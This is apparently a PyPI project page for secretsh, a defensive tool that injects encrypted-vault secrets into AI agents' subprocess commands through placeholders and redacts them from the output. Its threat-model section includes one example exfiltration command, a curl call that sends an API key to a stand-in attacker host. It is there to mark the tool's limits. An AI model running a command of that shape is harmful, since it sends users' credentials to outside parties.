Skip to main content

Secure subprocess secret injection for AI agents

Project description

secretsh

Secure subprocess secret injection for AI agents.

CI Crates.io PyPI License: MIT

secretsh keeps credentials out of LLM context, shell history, and command output. AI agents write commands with {{PLACEHOLDER}} tokens; secretsh resolves them against an encrypted vault and redacts any secrets that leak back through stdout/stderr.

Agent prompt:  curl -u admin:{{API_PASS}} https://internal/api
Child argv:    curl -u admin:hunter2 https://internal/api
Agent sees:    curl -u admin:[REDACTED_API_PASS] https://internal/api

Why

When an AI agent runs curl -u admin:hunter2 ..., three things go wrong:

  1. The LLM knows the secret and can be tricked into leaking it.
  2. Shell history records it in ~/.bash_history.
  3. Command output may echo it back (curl -v, misconfigured services), and the LLM ingests it.

secretsh fixes all three: secrets live in an encrypted vault, enter the process only at exec time, and are scrubbed from output before anything reaches the caller.


Install

Homebrew (macOS / Linux)

brew tap lthoangg/tap
brew install secretsh

PyPI

uv add secretsh
# or
pip install secretsh

From source

cargo install secretsh

Pre-built binaries

Download from GitHub Releases for:

  • x86_64-apple-darwin
  • aarch64-apple-darwin
  • x86_64-unknown-linux-gnu
  • aarch64-unknown-linux-gnu

Requirements

  • macOS 10.15+ or Linux (glibc)
  • Rust 1.75+ (build from source only)

Quick Start

1. Set your master passphrase

This prompt is silent -- type your passphrase and press Enter. Nothing is saved to shell history.

read -rs SECRETSH_KEY && export SECRETSH_KEY

All commands default to reading the passphrase from SECRETSH_KEY. Use --master-key-env OTHER_VAR to override.

2. Create a vault and add secrets

secretsh init

Easiest: import from an existing .env file:

secretsh import-env -f .env

Or add secrets one at a time (input is hidden, press Enter to submit):

secretsh set API_PASS
# Enter secret for API_PASS: ********
secretsh set API_USER
# Enter secret for API_USER: ********

3. Run commands with {{placeholders}}

secretsh run -- "curl -u {{API_USER}}:{{API_PASS}} https://httpbin.org/basic-auth/admin/hunter2"

The output is always scrubbed -- any vault secret (raw, base64, URL-encoded, or hex) is replaced with [REDACTED_<KEY>].

4. See what's stored

secretsh list

Values are never displayed.


Commands

Command Description
secretsh init Create a new encrypted vault
secretsh set <KEY> Store a secret (interactive hidden input)
secretsh delete <KEY> Remove a secret
secretsh list List key names (never values)
secretsh run -- "cmd" Execute a command with secret injection + output redaction
secretsh export --out <path> Export vault to an encrypted backup
secretsh import --in <path> Import entries from a backup
secretsh import-env -f <path> Import secrets from a .env file

All commands read the passphrase from the SECRETSH_KEY environment variable by default. Use --master-key-env <ENV_VAR> to read from a different variable. The passphrase itself is never passed on the command line.


Security Model

What secretsh protects against

  • Secret leakage into LLM prompt/context (placeholder model)
  • Secret leakage via shell history
  • Secret leakage via stdout/stderr (Aho-Corasick streaming redaction)
  • Encoded secret leakage (base64, URL-encoding, hex)
  • Vault tampering (HMAC-authenticated header + per-entry AES-256-GCM with positional AAD + full-file commit tag)
  • Metadata leakage from vault file (key names are encrypted)
  • Core dump inclusion (RLIMIT_CORE=0)

What is explicitly out of scope

  • /proc/<pid>/cmdline inspection (secret is in child argv for its lifetime)
  • Physical memory attacks (cold boot, kernel exploits)
  • Malicious commands that exfiltrate their own arguments
  • Compromise of the master passphrase itself

To be clear -- this isn't a silver bullet. It doesn't stop a truly malicious command from exfiltrating data (e.g. curl attacker.com/{{OUR_API_KEY}}). But it does solve the massive problem of accidental exposure in logs, history, and LLM context windows.

See docs/threat-model.md for the full threat model and technical architecture.

Cryptographic Primitives

Component Algorithm Library
Encryption AES-256-GCM ring
MAC HMAC-SHA256 ring
KDF Argon2id (128 MiB, t=3, p=4) argon2
Key expansion HKDF-SHA256 ring
Random OS CSPRNG ring::rand::SystemRandom

Key derivation uses HKDF domain separation: the Argon2id output is never used directly. Independent subkeys are derived for encryption (secretsh-enc-v1) and HMAC (secretsh-mac-v1).


Architecture

                    +------------------+
  Agent writes:     | curl {{API_KEY}} |   (placeholder — LLM never sees the value)
                    +--------+---------+
                             |
                    +--------v---------+
                    |    Tokenizer     |   Strict POSIX-subset parser
                    | (rejects pipes,  |   No shell intermediary
                    |  globs, $(), ;)  |
                    +--------+---------+
                             |
                    +--------v---------+
                    |  Vault Decrypt   |   AES-256-GCM + Argon2id
                    |  + Placeholder   |   Resolve {{KEY}} -> value
                    |    Resolution    |
                    +--------+---------+
                             |
                    +--------v---------+
                    |  posix_spawnp()  |   Direct exec, no sh -c
                    |  (macOS)         |   argv zeroized after spawn
                    +--------+---------+
                             |
                    +--------v---------+
                    |  Aho-Corasick    |   O(n) streaming redaction
                    |  Output Filter   |   Raw + base64 + URL + hex
                    +--------+---------+
                             |
                    +--------v---------+
  Agent receives:   | [REDACTED_KEY]   |   Scrubbed output
                    +------------------+

Configuration

Vault Location

Platform Default path
macOS ~/Library/Application Support/secretsh/vault.bin
Linux $XDG_DATA_HOME/secretsh/vault.bin

Override with --vault <path> on any command.

Multiple Vaults

Every command accepts --vault, so you can maintain separate vaults for different contexts:

# Work vault
secretsh init --vault ~/.secretsh/work.vault --master-key-env WORK_KEY
secretsh import-env -f .env.work --vault ~/.secretsh/work.vault --master-key-env WORK_KEY

# Personal vault
secretsh init --vault ~/.secretsh/personal.vault --master-key-env PERSONAL_KEY
secretsh import-env -f .env.personal --vault ~/.secretsh/personal.vault --master-key-env PERSONAL_KEY

# Run from either
secretsh run --vault ~/.secretsh/work.vault --master-key-env WORK_KEY -- \
    "curl -H 'Token: {{API_TOKEN}}' https://api.example.com"

Each vault is independent: different passphrase, different salt, different entries.

Resource Limits

Limit Default Flag
Child timeout 300s --timeout
Max stdout 50 MiB --max-output
Max stderr 1 MiB --max-stderr

Exceeding any limit triggers SIGTERM + SIGKILL escalation (exit code 124).


Exit Codes

Code Meaning
0 Success
1-125 Child process exit code (passthrough)
124 Timeout or output limit exceeded
125 secretsh internal error
126 Command not executable
127 Command not found
128+N Child killed by signal N

Python API

secretsh provides native Python bindings via PyO3. Secrets stay on the Rust heap and never cross the FFI boundary as Python str.

import secretsh

with secretsh.Vault(master_key_env="SECRETSH_KEY") as vault:
    vault.set("API_KEY", bytearray(b"sk-live-abc123"))  # bytearray is zeroed after copy
    result = vault.run("curl -H 'Authorization: Bearer {{API_KEY}}' https://api.example.com")
    print(result.stdout)     # -> "... Authorization: Bearer [REDACTED_API_KEY] ..."
    print(result.exit_code)  # -> 0

Install from source

uv venv .venv && source .venv/bin/activate
uv sync --group dev                       # install dev deps (pytest, pytest-cov)
maturin develop --features python          # build + install into venv
python -m pytest tests/ -v                 # run tests

Requires Python 3.10+.


Development

# Build
cargo build

# Run Rust tests (188 unit tests)
cargo test

# Lint
cargo clippy -- -D warnings

# Format
cargo fmt

# Build release
cargo build --release

# Python bindings
maturin develop --features python
python -m pytest tests/ -v

Examples

See examples/ for runnable examples:

File What it demonstrates
basic_cli.sh Full CLI walkthrough: init, set, list, run, export, import, delete, exit codes
basic_python.py Python API: set, run, redaction, bytearray zeroing, timeout, error handling, export/import
multi_vault.py Multiple vaults with different passphrases for staging vs production
read -rs SECRETSH_KEY && export SECRETSH_KEY
bash examples/basic_cli.sh
python examples/basic_python.py

License

MIT


Contributing

See CONTRIBUTING.md for guidelines.

Security

To report a vulnerability, see SECURITY.md.

Project details


Download files

Download the file for your platform. If you're not sure which to choose, learn more about installing packages.

Source Distributions

No source distribution files available for this release.See tutorial on generating distribution archives.

Built Distributions

If you're not sure about the file name format, learn more about wheel file names.

secretsh-0.1.3-pp311-pypy311_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl (484.4 kB view details)

Uploaded PyPymanylinux: glibc 2.17+ x86-64

secretsh-0.1.3-pp311-pypy311_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl (423.2 kB view details)

Uploaded PyPymanylinux: glibc 2.17+ ARM64

secretsh-0.1.3-cp314-cp314-manylinux_2_17_x86_64.manylinux2014_x86_64.whl (484.4 kB view details)

Uploaded CPython 3.14manylinux: glibc 2.17+ x86-64

secretsh-0.1.3-cp314-cp314-manylinux_2_17_aarch64.manylinux2014_aarch64.whl (422.3 kB view details)

Uploaded CPython 3.14manylinux: glibc 2.17+ ARM64

secretsh-0.1.3-cp314-cp314-macosx_11_0_arm64.whl (402.0 kB view details)

Uploaded CPython 3.14macOS 11.0+ ARM64

secretsh-0.1.3-cp314-cp314-macosx_10_12_x86_64.whl (462.6 kB view details)

Uploaded CPython 3.14macOS 10.12+ x86-64

secretsh-0.1.3-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl (484.1 kB view details)

Uploaded CPython 3.13manylinux: glibc 2.17+ x86-64

secretsh-0.1.3-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl (422.2 kB view details)

Uploaded CPython 3.13manylinux: glibc 2.17+ ARM64

secretsh-0.1.3-cp313-cp313-macosx_11_0_arm64.whl (402.2 kB view details)

Uploaded CPython 3.13macOS 11.0+ ARM64

secretsh-0.1.3-cp313-cp313-macosx_10_12_x86_64.whl (462.7 kB view details)

Uploaded CPython 3.13macOS 10.12+ x86-64

secretsh-0.1.3-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl (484.4 kB view details)

Uploaded CPython 3.12manylinux: glibc 2.17+ x86-64

secretsh-0.1.3-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl (422.7 kB view details)

Uploaded CPython 3.12manylinux: glibc 2.17+ ARM64

secretsh-0.1.3-cp312-cp312-macosx_11_0_arm64.whl (402.5 kB view details)

Uploaded CPython 3.12macOS 11.0+ ARM64

secretsh-0.1.3-cp312-cp312-macosx_10_12_x86_64.whl (462.9 kB view details)

Uploaded CPython 3.12macOS 10.12+ x86-64

secretsh-0.1.3-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl (484.0 kB view details)

Uploaded CPython 3.11manylinux: glibc 2.17+ x86-64

secretsh-0.1.3-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl (422.4 kB view details)

Uploaded CPython 3.11manylinux: glibc 2.17+ ARM64

secretsh-0.1.3-cp311-cp311-macosx_11_0_arm64.whl (403.4 kB view details)

Uploaded CPython 3.11macOS 11.0+ ARM64

secretsh-0.1.3-cp311-cp311-macosx_10_12_x86_64.whl (464.3 kB view details)

Uploaded CPython 3.11macOS 10.12+ x86-64

secretsh-0.1.3-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl (484.0 kB view details)

Uploaded CPython 3.10manylinux: glibc 2.17+ x86-64

secretsh-0.1.3-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl (422.4 kB view details)

Uploaded CPython 3.10manylinux: glibc 2.17+ ARM64

File details

Details for the file secretsh-0.1.3-pp311-pypy311_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl.

File metadata

File hashes

Hashes for secretsh-0.1.3-pp311-pypy311_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl
Algorithm Hash digest
SHA256 5d6c717e6bd70742a03cb209959c27676fd2d8fc3c95c43695592c9f1c6512d3
MD5 2bfe849738650771297b003bfd201e7e
BLAKE2b-256 b0f8708f1b1ff5f44ee49af9308bcf86ecb147577aa5d28539feed614eecb403

See more details on using hashes here.

File details

Details for the file secretsh-0.1.3-pp311-pypy311_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl.

File metadata

File hashes

Hashes for secretsh-0.1.3-pp311-pypy311_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl
Algorithm Hash digest
SHA256 29dfc5e27b805e6dcdd079deff0cbc028d8e9649032b772819a361a379119f62
MD5 45c6755152ecbfc57be0daa33a74ae97
BLAKE2b-256 1df0282c80e4a5a9a90de35b3a2b4c4fc3d654cd201cf2570907160b64df57c4

See more details on using hashes here.

File details

Details for the file secretsh-0.1.3-cp314-cp314-manylinux_2_17_x86_64.manylinux2014_x86_64.whl.

File metadata

File hashes

Hashes for secretsh-0.1.3-cp314-cp314-manylinux_2_17_x86_64.manylinux2014_x86_64.whl
Algorithm Hash digest
SHA256 cd2f661dfec1e5cddeaedd660e17be1139651816f8b5a9d26d37ca01b4eb464f
MD5 be238ff5ed9d95e143751f90796084d3
BLAKE2b-256 a00c9c9467851027f00e88f17aca21a69a38f18469c74f9340d6a5277995960c

See more details on using hashes here.

File details

Details for the file secretsh-0.1.3-cp314-cp314-manylinux_2_17_aarch64.manylinux2014_aarch64.whl.

File metadata

File hashes

Hashes for secretsh-0.1.3-cp314-cp314-manylinux_2_17_aarch64.manylinux2014_aarch64.whl
Algorithm Hash digest
SHA256 a0d29e4c43a4e2fb00f3a8483032083e60dfbc1c3ca67a0945e92bb3be1e7264
MD5 4e115cf532b32f648f74c9561e03e837
BLAKE2b-256 adcd4d344029c9902855b996ca4ebb3e746b02c985d484787e28b42d080c9232

See more details on using hashes here.

File details

Details for the file secretsh-0.1.3-cp314-cp314-macosx_11_0_arm64.whl.

File metadata

File hashes

Hashes for secretsh-0.1.3-cp314-cp314-macosx_11_0_arm64.whl
Algorithm Hash digest
SHA256 9267670111c6c23c5df28639adb32b7b5269a93c826d7af175788773c46db151
MD5 c63de929271fbde1308850c7b0e5130c
BLAKE2b-256 2d520777188dffce15c51000f9c4d8489575964e1c72fe231632fa73b2472c48

See more details on using hashes here.

File details

Details for the file secretsh-0.1.3-cp314-cp314-macosx_10_12_x86_64.whl.

File metadata

File hashes

Hashes for secretsh-0.1.3-cp314-cp314-macosx_10_12_x86_64.whl
Algorithm Hash digest
SHA256 3ff84c7bfcd46f73728f01f23968336b2a8706fc938cf055dd5dd8d3bc952f0d
MD5 1d401c8657553f5d13b9d4b00e3a0a0f
BLAKE2b-256 bd04f257050b578fac4332ab625dc8a893b993b5ca9596b2bd2e215d0f994bd8

See more details on using hashes here.

File details

Details for the file secretsh-0.1.3-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl.

File metadata

File hashes

Hashes for secretsh-0.1.3-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl
Algorithm Hash digest
SHA256 6870a18cbaf87dda92c36f4e61c0f38b032249b7bf5c24b803e0c3733c278bae
MD5 8f33ddbcb9ca4a14bfe9225e32036196
BLAKE2b-256 9c30fe850de75dd220001dc6146471ce9d61eefc35fd46024b8e1b27209434c0

See more details on using hashes here.

File details

Details for the file secretsh-0.1.3-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl.

File metadata

File hashes

Hashes for secretsh-0.1.3-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl
Algorithm Hash digest
SHA256 add17676328b73f6d53feb48a2a3a7b508952201b3b9f14b12b6be44f762a85a
MD5 8d762c877af74e3d87271835215b8aeb
BLAKE2b-256 6af39b2fb19121323deea9c567f98d9f90b309eb7fad1c5c4e82cd9e18cb56bc

See more details on using hashes here.

File details

Details for the file secretsh-0.1.3-cp313-cp313-macosx_11_0_arm64.whl.

File metadata

File hashes

Hashes for secretsh-0.1.3-cp313-cp313-macosx_11_0_arm64.whl
Algorithm Hash digest
SHA256 9f5a0fe3b9a68dbdf7f1fdcfcb3637b79fcfa0d15540c3c6765878cead1c78a3
MD5 5429007479324138009df873048a8073
BLAKE2b-256 1cebaf5e35fa0d1df73e6eef9e7274c434ddb53d5a2c6c70975d07b0c4305f6c

See more details on using hashes here.

File details

Details for the file secretsh-0.1.3-cp313-cp313-macosx_10_12_x86_64.whl.

File metadata

File hashes

Hashes for secretsh-0.1.3-cp313-cp313-macosx_10_12_x86_64.whl
Algorithm Hash digest
SHA256 7414c082e03d8f7e1b476b05c6f6d47af1617e073d80960260ae72d986531234
MD5 76620899d942a6c4f987e0a0102e0d1d
BLAKE2b-256 a842ce56d54ce4d371bc474bb113e1513dcfd4efd72bceb34bcd43015339aeca

See more details on using hashes here.

File details

Details for the file secretsh-0.1.3-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl.

File metadata

File hashes

Hashes for secretsh-0.1.3-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl
Algorithm Hash digest
SHA256 8ed5ce18f0381f4b56d83e47a995156bd6fa67095640162579a21c11d891b840
MD5 cc1986da2cab3c0e1a7cd6913da707d6
BLAKE2b-256 9259b51881106d9c6b5dd001888fdb45df507ef351ce5e559e811240152d7884

See more details on using hashes here.

File details

Details for the file secretsh-0.1.3-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl.

File metadata

File hashes

Hashes for secretsh-0.1.3-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl
Algorithm Hash digest
SHA256 1f7c87ed1660c400cbfc324cf908f53077a995c45a3c98ce9964255de7c71199
MD5 788c1b8b7108702165344e0701f02dd8
BLAKE2b-256 73952010f450dac7684a6c19bd71dee34376b991276452adfe08280d69dd806d

See more details on using hashes here.

File details

Details for the file secretsh-0.1.3-cp312-cp312-macosx_11_0_arm64.whl.

File metadata

File hashes

Hashes for secretsh-0.1.3-cp312-cp312-macosx_11_0_arm64.whl
Algorithm Hash digest
SHA256 e90016ecfadf70e6d273eb11034bfac350ec1d3307cbd04b2ec2f2eac4c361ed
MD5 60986a8355419229e1a76f9fc10a1be0
BLAKE2b-256 86716bc02dd22270abbae19e1e03f563ab72459fd97cbf2c53395271030df886

See more details on using hashes here.

File details

Details for the file secretsh-0.1.3-cp312-cp312-macosx_10_12_x86_64.whl.

File metadata

File hashes

Hashes for secretsh-0.1.3-cp312-cp312-macosx_10_12_x86_64.whl
Algorithm Hash digest
SHA256 f69929d90dd72917bb762e32f1bd713ae025a6b000131577bb387f3aa4c1c9b6
MD5 a62379d7722bc34fb03cda3364a435b4
BLAKE2b-256 de48f7f1fc11e6e83038e781a7a9b2bc3654f18c3a1d3e9d85d6562ca9c2ff46

See more details on using hashes here.

File details

Details for the file secretsh-0.1.3-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl.

File metadata

File hashes

Hashes for secretsh-0.1.3-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl
Algorithm Hash digest
SHA256 5080de911bc2eee22f7be7707d596796bbf52a3d99e92474fb9a998cc15b2992
MD5 e67e621e2c7a86d2a73f1117232a5edf
BLAKE2b-256 114a72b4df289124506ab8b4a707e4cc8e7533be0e30eb07c932ca355ef22215

See more details on using hashes here.

File details

Details for the file secretsh-0.1.3-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl.

File metadata

File hashes

Hashes for secretsh-0.1.3-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl
Algorithm Hash digest
SHA256 18390cc19679b091ad0b9a73e9513ab5a8ff7e8d0f168ecd734b832a0ac01806
MD5 3cb2d48a81e5f6e53faa8da29e78452e
BLAKE2b-256 7ca9478434b7c524558cfb0dff08ff9c30ed2c66005724ae4e84e50fb291f71b

See more details on using hashes here.

File details

Details for the file secretsh-0.1.3-cp311-cp311-macosx_11_0_arm64.whl.

File metadata

File hashes

Hashes for secretsh-0.1.3-cp311-cp311-macosx_11_0_arm64.whl
Algorithm Hash digest
SHA256 6e8cbc011e1c4d1b509396555f017325206831a3b544932cb21fff54ad2df8b3
MD5 fe87650199c4774fa17232f723b13d8b
BLAKE2b-256 0b899f91c8a04c9d2d2c11d5fe00ad72643cd53d10da181404357d467c56bef5

See more details on using hashes here.

File details

Details for the file secretsh-0.1.3-cp311-cp311-macosx_10_12_x86_64.whl.

File metadata

File hashes

Hashes for secretsh-0.1.3-cp311-cp311-macosx_10_12_x86_64.whl
Algorithm Hash digest
SHA256 7fbf099d2b7b531d048805400fa9e85389fcec52461931518b1505d82415def8
MD5 44e8d2c1527b9a553858c1591842d81c
BLAKE2b-256 68c1fc4904eee1a024d9f4a0855863430dca205e94676a3df25af011ebe25a09

See more details on using hashes here.

File details

Details for the file secretsh-0.1.3-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl.

File metadata

File hashes

Hashes for secretsh-0.1.3-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl
Algorithm Hash digest
SHA256 1841381fc02fe81753f50ab5b7703218c02dd6d875aa6590bd25c732407f847f
MD5 f9105bc5444ee315210d82beafbaa396
BLAKE2b-256 34e98e03cf8b1321656ab51e0b7aed5a1d82c8c39ca14f94f6f771794174cf87

See more details on using hashes here.

File details

Details for the file secretsh-0.1.3-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl.

File metadata

File hashes

Hashes for secretsh-0.1.3-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl
Algorithm Hash digest
SHA256 4b5d845ae79ed5990cacdd6a2ee827f2d7d8551d0c20290f518e8b9f3e410db5
MD5 596bcbeb9bc8602c301fc10cb6928a72
BLAKE2b-256 bc3fc06c6493c31055670c74e69bbe8c92bde759603f517a0888b0cee2dfb235

See more details on using hashes here.

Supported by

AWS Cloud computing and Security Sponsor Datadog Monitoring Depot Continuous Integration Fastly CDN Google Download Analytics Pingdom Monitoring Sentry Error logging StatusPage Status page